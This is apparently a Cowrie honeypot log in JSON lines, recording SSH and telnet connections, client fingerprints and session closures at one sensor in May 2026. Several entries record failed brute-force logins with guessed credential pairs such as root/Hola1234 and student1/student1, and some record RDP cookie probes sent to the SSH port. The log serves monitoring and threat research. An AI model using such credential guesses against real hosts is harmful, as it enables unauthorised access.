{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:14.083161Z","src_ip":"43.133.62.188","session":"3c5416cdd511","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:14.320681Z","src_ip":"43.133.62.188","session":"3c5416cdd511","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hola1234","message":"login attempt [root/Hola1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:15.307340Z","src_ip":"43.133.62.188","session":"3c5416cdd511","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0022246837616,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:15.382175Z","src_ip":"152.42.224.71","session":"96371ed6c322","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:16.549922Z","src_ip":"43.133.62.188","session":"3c5416cdd511","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.603551626205444,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:16.583084Z","src_ip":"152.42.224.71","session":"4711bbeeade0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.68837261199951,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:19.345013Z","src_ip":"152.42.224.71","session":"53039a7aeb17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.08960247039795,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:20.444991Z","src_ip":"152.42.224.71","session":"b2728be84b4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.247.137.111","src_port":47905,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed4da8d2b744","protocol":"ssh","message":"New connection: 185.247.137.111:47905 (10.17.0.5:22) [session: ed4da8d2b744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:21.578169Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:23.579728Z","src_ip":"185.247.137.111","session":"ed4da8d2b744","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.247.137.111","src_port":58531,"dst_ip":"10.17.0.5","dst_port":22,"session":"05e4bc1c207f","protocol":"ssh","message":"New connection: 185.247.137.111:58531 (10.17.0.5:22) [session: 05e4bc1c207f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:23.652010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:23.659572Z","src_ip":"185.247.137.111","session":"05e4bc1c207f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:24.038948Z","src_ip":"185.247.137.111","session":"05e4bc1c207f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:24.114831Z","src_ip":"185.247.137.111","session":"05e4bc1c207f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.781407833099365,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:40.465029Z","src_ip":"152.42.224.71","session":"a67ee8df3ee4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.28.136","src_port":40496,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7c44e76614b","protocol":"ssh","message":"New connection: 43.156.28.136:40496 (159.203.135.109:22) [session: c7c44e76614b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:42.621938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:42.628429Z","src_ip":"43.156.28.136","session":"c7c44e76614b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:42.873852Z","src_ip":"43.156.28.136","session":"c7c44e76614b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Nl123456","message":"login attempt [root/Nl123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:43.886180Z","src_ip":"43.156.28.136","session":"c7c44e76614b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:45.134379Z","src_ip":"43.156.28.136","session":"c7c44e76614b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.188.177.46","src_port":42056,"dst_ip":"159.203.135.109","dst_port":22,"session":"23cd05c1443c","protocol":"ssh","message":"New connection: 103.188.177.46:42056 (159.203.135.109:22) [session: 23cd05c1443c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:48.413844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:48.418427Z","src_ip":"103.188.177.46","session":"23cd05c1443c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:48.659023Z","src_ip":"103.188.177.46","session":"23cd05c1443c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.82024383544922,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:48.915338Z","src_ip":"152.42.224.71","session":"131236eea242","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53310,"dst_ip":"10.17.0.5","dst_port":23,"session":"82092839b179","protocol":"telnet","message":"New connection: 152.42.224.71:53310 (10.17.0.5:23) [session: 82092839b179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:49.515253Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456789","message":"login attempt [deploy/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:49.655934Z","src_ip":"103.188.177.46","session":"23cd05c1443c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.782007932662964,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:49.836104Z","src_ip":"152.42.224.71","session":"d024d1363cd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:50.899928Z","src_ip":"103.188.177.46","session":"23cd05c1443c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":51322,"dst_ip":"159.203.135.109","dst_port":23,"session":"476fc1a90d1e","protocol":"telnet","message":"New connection: 209.127.178.212:51322 (159.203.135.109:23) [session: 476fc1a90d1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:51.572777Z"}
{"eventid":"cowrie.session.closed","duration":120.00187611579895,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:52.444814Z","src_ip":"152.42.224.71","session":"11682c08609a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53312,"dst_ip":"10.17.0.5","dst_port":23,"session":"6dd558d7474c","protocol":"telnet","message":"New connection: 152.42.224.71:53312 (10.17.0.5:23) [session: 6dd558d7474c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:53.423203Z"}
{"eventid":"cowrie.session.closed","duration":120.00471115112305,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:52:56.759164Z","src_ip":"152.42.224.71","session":"7d863990cfb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":51223,"dst_ip":"10.17.0.5","dst_port":22,"session":"caf50f3e570a","protocol":"ssh","message":"New connection: 152.42.212.128:51223 (10.17.0.5:22) [session: caf50f3e570a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:04.057140Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:04.062130Z","src_ip":"152.42.212.128","session":"caf50f3e570a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:04.066299Z","src_ip":"152.42.212.128","session":"caf50f3e570a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":59664,"dst_ip":"159.203.135.109","dst_port":22,"session":"7be3e7f0bbb7","protocol":"ssh","message":"New connection: 102.210.148.92:59664 (159.203.135.109:22) [session: 7be3e7f0bbb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:07.388777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:07.394241Z","src_ip":"102.210.148.92","session":"7be3e7f0bbb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:07.643991Z","src_ip":"102.210.148.92","session":"7be3e7f0bbb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":60706,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9405ad854e7","protocol":"ssh","message":"New connection: 167.172.81.52:60706 (10.17.0.5:22) [session: d9405ad854e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:08.475730Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:08.480937Z","src_ip":"167.172.81.52","session":"d9405ad854e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:08.484675Z","src_ip":"167.172.81.52","session":"d9405ad854e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student1","password":"student1","message":"login attempt [student1/student1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:08.669837Z","src_ip":"102.210.148.92","session":"7be3e7f0bbb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:09.922234Z","src_ip":"102.210.148.92","session":"7be3e7f0bbb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00603485107422,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:16.076918Z","src_ip":"152.42.224.71","session":"c09b4125128a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35152,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c55ef413e87","protocol":"telnet","message":"New connection: 152.42.224.71:35152 (10.17.0.5:23) [session: 8c55ef413e87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:17.066805Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":40692,"dst_ip":"10.17.0.5","dst_port":22,"session":"f09f94038de2","protocol":"ssh","message":"New connection: 109.237.96.109:40692 (10.17.0.5:22) [session: f09f94038de2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:21.633749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:21.639919Z","src_ip":"109.237.96.109","session":"f09f94038de2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:21.731973Z","src_ip":"109.237.96.109","session":"f09f94038de2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw23edc","message":"login attempt [root/1qazxsw23edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:22.016027Z","src_ip":"109.237.96.109","session":"f09f94038de2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.358577013015747,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:22.931242Z","src_ip":"209.127.178.212","session":"476fc1a90d1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:23.109166Z","src_ip":"109.237.96.109","session":"f09f94038de2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41296,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bbd2b8ebc0b","protocol":"telnet","message":"New connection: 152.42.224.71:41296 (10.17.0.5:23) [session: 7bbd2b8ebc0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:27.563211Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41310,"dst_ip":"10.17.0.5","dst_port":23,"session":"d377b39ad0e7","protocol":"telnet","message":"New connection: 152.42.224.71:41310 (10.17.0.5:23) [session: d377b39ad0e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:28.597896Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":43503,"dst_ip":"10.17.0.5","dst_port":22,"session":"08923b57fada","protocol":"ssh","message":"New connection: 79.127.181.44:43503 (10.17.0.5:22) [session: 08923b57fada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:36.040111Z"}
